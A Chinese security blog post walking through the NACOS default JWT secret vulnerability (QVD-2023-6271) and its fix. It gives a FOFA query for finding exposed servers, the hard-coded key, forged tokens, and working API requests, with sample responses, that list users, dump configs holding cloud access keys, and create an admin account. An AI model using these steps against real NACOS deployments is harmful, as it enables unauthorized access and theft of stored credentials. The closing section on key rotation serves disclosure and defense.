-
原理
-
危害
-
攻击
-
资产发现
-
漏洞利用
-
防御
1、原理
NACOS[1],/nɑ:kəʊs/,是一个更易于构建云原生应用的动态服务发现、配置管理
和服务管理平台。
在 <=2.2.0
、<=1.4.4
的版本中,NACOS的配置文件conf/application.properties
存在默认密钥nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
。
该密钥用于加密用户帐号,生成用户登陆后的身份令牌accessToken,类型是JWT[2](JSON Web Token)。
攻击者可以使用默认密钥和常见帐号生成身份令牌,从而绕过身份认证,直接获得NACOS的访问权限。
2、危害
攻击者获得NACOS的访问权限后,会查看NACOS管理的所有配置文件,翻找里面的帐号密码,例如云服务的AKSK、Java程序的JDBC,从而获得对应服务的访问权限。
3、攻击
3.1、资产发现
搜索资产
FOFA[3]:app="NACOS"
查看版本
# 请求地址
/nacos/v1/console/server/state
# 响应示例
{"version":"2.2.0","standalone_mode":"standalone","function_mode":null}
3.2、漏洞利用
部署服务
1、下载地址:2.2.0 (Dec 14, 2022)[4]、1.4.4 (Aug 8th, 2022)[5]
2、打开鉴权开关:将配置文件conf/application.properties
中的 nacos.core.auth.enabled
设置为on
。
3.1、Linux中部署:配置环境变量export JAVA_HOME=/usr/lib/jvm/java-17-openjdk-amd64
、开启服务bash bin/startup.sh -m standalone
、关闭服务 bash bin/shutdown.sh
。
3.2、Windows中部署:配置环境变量此电脑 - 属性 - 高级系统设置 - 高级 - 环境变量 – JAVA_HOME= C:Program FilesJavajdk1.8.0_361
、开启服务bin/startup.cmd-m standalone
、关闭服务binshutdown.cmd
。
生成accessToken
生成地址:JWT官网[6]
关键参数:
1、常见帐号:例如nacos、nac0s、nacosss、nacos1、admin
2、默认密钥:SecretKey012345678901234567890123456789012345678901234567890123456789
其他参数:
3、签名算法:HS256(HMAC SHA256,JWT默认)
4、过期时间:在Linux中使用命令date +%s -d '2024-03-10 00:00:00'
生成过期时间
5、是否启用Base64编码:是(NACOS建议)
查看帐号:常用于渗透测试或漏洞扫描,证明漏洞存在。
# 请求地址(GET)
/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDAwMDAwMH0.l5OewNgzUxgyFdy7aAQBNfst7FOZ9bE9cHoLd9dMX74 &pageNo=1&pageSize=9&search=accurate
# 响应示例
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
查看配置:常用于红蓝对抗,翻找帐号密码,获取更多权限。
# 请求地址(GET)
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDAwMDAwMH0.l5OewNgzUxgyFdy7aAQBNfst7FOZ9bE9cHoLd9dMX74
# 响应示例
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"id":"740458855550423040","dataId":"aliyun.yaml","group":"DEFAULT_GROUP","content":"aliyun:n access-key-id: RzRRFE5tQqsxAieELkMDLTAIn access-key-secret: 52dW2iDdPzmddUBEDlKHej5uYddK89","md5":null,"encryptedDataKey":null,"tenant":"","appName":"","type":"yaml"}]}
创建帐号,登陆后台,查看配置:同红蓝对抗场景。
# 请求地址(POST)
/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwOTk5MTEwOX0.h2WWx4rr9_pxbYzRe2Psrw5JDY3mKzXiUK-FhMKCkto&username=hacker&password=123456
# 响应示例
{"code":200,"message":null,"data":"create user ok!"}
4、防御
生成身份令牌accessToken需要两个关键参数:用户帐号、加密密钥。只需将默认的加密密钥修改掉,攻击者就无法伪造身份令牌,从而修复该漏洞。
以下内容参考Nacos 文档[7]中的自定义密钥
部分,以及关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告[8]。
修改默认密钥的位置
配置文件:conf/application.properties
默认密钥:
### The default token(Base64 String):
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
### 2.1.0 版本后
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
修改默认密钥的注意事项
1、原始密钥长度不得低于32字符,推荐将原始密钥进行Base64编码,例如:
### 原始密钥(刚好32字符)
ThisIsMyCustomSecretKey012345678
### The default token(Base64 String):
nacos.core.auth.default.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=
### 2.1.0 版本后
nacos.core.auth.plugin.nacos.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=
2、鉴权开关是修改之后立马生效的,不需要重启服务端。
3、动态修改token.secret.key时,请确保token是有效的,如果修改成无效值,会导致后续无法登录,请求访问异常。
4、密钥需要保持节点间一致,长时间不一致可能导致403 invalid token错误。
参考资料
NACOS: https://nacos.io
[2]JWT: https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
[3]FOFA: https://fofa.info
[4]2.2.0 (Dec 14, 2022): https://github.com/alibaba/nacos/releases/tag/2.2.0
[5]1.4.4 (Aug 8th, 2022): https://github.com/alibaba/nacos/releases/tag/1.4.4
[6]JWT官网: https://jwt.io
[7]Nacos 文档: https://nacos.io/zh-cn/docs/v2/guide/user/auth.html
[8]关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告: https://nacos.io/zh-cn/blog/announcement-token-secret-key.html
原文始发于微信公众号(OneMoreThink):漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论